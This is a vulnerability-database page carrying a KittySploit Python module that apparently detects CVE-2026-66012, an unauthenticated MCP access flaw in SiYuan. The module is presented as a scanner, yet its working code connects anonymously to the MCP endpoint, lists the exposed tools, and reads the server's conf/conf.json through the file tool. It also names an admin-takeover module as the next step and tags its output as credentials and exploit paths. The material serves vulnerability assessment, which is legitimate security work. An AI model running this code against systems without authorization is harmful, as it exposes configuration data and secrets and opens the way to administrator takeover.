Lucene search
+L

SiYuan CVE-2026-66012 MCP Auth Bypass Detect

🗓️ 08 Aug 2026 16:40:44Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated auth bypass in SiYuan kernel MCP allows file tool access.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-66012
26 Jul 202610:45
–githubexploit
attackerkb
attackerkb
CVE-2026-66012
25 Jul 202610:45
–attackerkb
circl
Circl
CVE-2026-66012
25 Jul 202611:26
–circl
cve
CVE
CVE-2026-66012
25 Jul 202610:45
–cve
cvelist
Cvelist
CVE-2026-66012 SiYuan before v3.7.2 Unauthenticated Administrator Takeover via MCP
25 Jul 202610:45
–cvelist
euvd
EUVD
EUVD-2026-49043
25 Jul 202610:45
–euvd
github
Github Security Blog
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
2 Oct 202623:16
–github
kitploit
Kitploit
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
15 Oct 202615:21
–kitploit
kittysploit
KittySploit
SiYuan MCP Auth Bypass (CVE-2026-66012)
8 Aug 202616:40
–kittysploit
mend
Mend
CVE-2026-66012
25 Jul 202610:45
–mend
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Detect SiYuan CVE-2026-66012 unauthenticated MCP file tool access."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "SiYuan CVE-2026-66012 MCP Auth Bypass Detect",
        "description": (
            "Detects CVE-2026-66012 in SiYuan kernel 3.7.0 <= v < 3.7.2: POST /mcp on the Publish "
            "port (default 6808) accepts anonymous RoleReader JWTs when Publish auth is disabled, "
            "exposing MCP tools including workspace file read without credentials."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": ["CVE-2026-66012"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-66012",
            "https://www.cve.org/CVERecord?id=CVE-2026-66012",
        ],
        "modules": ["auxiliary/admin/http/siyuan_cve_2026_66012_auth_bypass"],
        "tags": [
            "web",
            "scanner",
            "siyuan",
            "mcp",
            "auth-bypass",
            "file-read",
            "cve-2026-66012",
            "vuln",
        ],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": True,
            "produces": ["tech_hints", "risk_signals", "credentials", "exploit_paths"],
            "cost": 1.0,
            "noise": 0.3,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["siyuan"],
                "endpoint_pattern_any": ["/mcp"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "auth_bypass", "from_detail": "anonymous MCP access"},
                    {"capability": "file_read", "from_detail": "MCP file tool"},
                ],
                "suggested_followups": [
                    "auxiliary/admin/http/siyuan_cve_2026_66012_auth_bypass",
                ],
            },
        },
    }

    port = OptPort(6808, "SiYuan Publish proxy port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    mcp_path = OptString("/mcp", "MCP HTTP endpoint path", False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._mcp_mode = None
        self._mcp_session_id = None

    def _endpoint(self) -> str:
        base = (self.path or "/").rstrip("/")
        suffix = str(self.mcp_path or "/mcp")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _parse_mcp_body(self, response):
        if not response:
            return None
        text = (response.text or "").strip()
        if text.startswith("data:"):
            lines = [line[5:].strip() for line in text.splitlines() if line.startswith("data:")]
            text = "".join(lines)
        if not text:
            return None
        try:
            return json.loads(text)
        except ValueError:
            return None

    def _mcp_post(self, payload: dict, extra: dict = None):
        headers = {
            "Accept": "application/json, text/event-stream",
            "Accept-Encoding": "identity",
        }
        if extra:
            headers.update(extra)
        response = self.http_request(
            method="POST",
            path=self._endpoint(),
            json=payload,
            headers=headers,
            session=True,
            allow_redirects=False,
            timeout=int(self.timeout or 15),
        )
        code = int(response.status_code or 0) if response else 0
        session_id = None
        if response and response.headers:
            session_id = response.headers.get("Mcp-Session-Id") or response.headers.get("mcp-session-id")
        return code, session_id, self._parse_mcp_body(response)

    def _mcp_handshake(self) -> bool:
        payload = {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2025-06-18",
                "capabilities": {},
                "clientInfo": {"name": "kittysploit", "version": "1.0"},
            },
        }
        code, session_id, _parsed = self._mcp_post(payload)
        if code != 200:
            return False
        if session_id:
            self._mcp_session_id = session_id
        return True

    def _mcp_rpc(self, method: str, params=None, rid: int = 1):
        payload = {"jsonrpc": "2.0", "id": rid, "method": method}
        if params is not None:
            payload["params"] = params

        if self._mcp_mode in (None, "2026"):
            code, _sid, parsed = self._mcp_post(
                payload,
                {"MCP-Protocol-Version": "2026-07-28"},
            )
            if code == 200:
                self._mcp_mode = "2026"
                return code, parsed
            if self._mcp_mode == "2026" or code in (401, 403):
                return code, parsed

        if not self._mcp_session_id and not self._mcp_handshake():
            return 0, None
        self._mcp_mode = "classic"
        extra = {"Mcp-Session-Id": self._mcp_session_id} if self._mcp_session_id else {}
        code, _sid, parsed = self._mcp_post(payload, extra)
        return code, parsed

    def _file_read(self, path: str, rid: int = 2):
        code, parsed = self._mcp_rpc(
            "tools/call",
            {"name": "file", "arguments": {"action": "read", "path": path, "limit": -1}},
            rid=rid,
        )
        if not isinstance(parsed, dict):
            return code, None, True
        result = parsed.get("result") or {}
        content = result.get("content") if isinstance(result, dict) else None
        text = None
        if isinstance(content, list) and content and isinstance(content[0], dict):
            text = content[0].get("text")
        is_error = bool(result.get("isError")) if isinstance(result, dict) else True
        return code, text, is_error

    def run(self):
        code, parsed = self._mcp_rpc("tools/list", rid=1)
        tools = []
        if isinstance(parsed, dict):
            tools = (parsed.get("result") or {}).get("tools") or []
        if not tools:
            if code in (401, 403):
                print_status(f"CVE-2026-66012 blocked on /mcp (HTTP {code})")
            return False

        names = [t.get("name") for t in tools if isinstance(t, dict)]
        if "file" not in names:
            print_status(f"CVE-2026-66012 MCP exposed ({len(tools)} tools) but no file tool")
            self.set_info(
                severity="high",
                reason=f"CVE-2026-66012: {len(tools)} MCP tools without credentials",
                cve="CVE-2026-66012",
                path=self._endpoint(),
            )
            return True

        _code, text, is_error = self._file_read("conf/conf.json")
        if is_error or not text:
            print_status("CVE-2026-66012 MCP file tool reachable; conf/conf.json unreadable")
            self.set_info(
                severity="high",
                reason="CVE-2026-66012: unauthenticated MCP file tool",
                vulnerable=True,
                cve="CVE-2026-66012",
                path=self._endpoint(),
            )
            return True

        reason = f"CVE-2026-66012: read conf/conf.json ({len(text)} bytes) via anonymous MCP"
        print_status("CVE-2026-66012 vuln=True")
        self.set_info(
            severity="critical",
            reason=reason,
            vulnerable=True,
            cve="CVE-2026-66012",
            path=self._endpoint(),
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 16:40Current
5.8Medium risk
Vulners AI Score5.8
CVSS 410
CVSS 3.110
EPSS0.00764
SSVC
2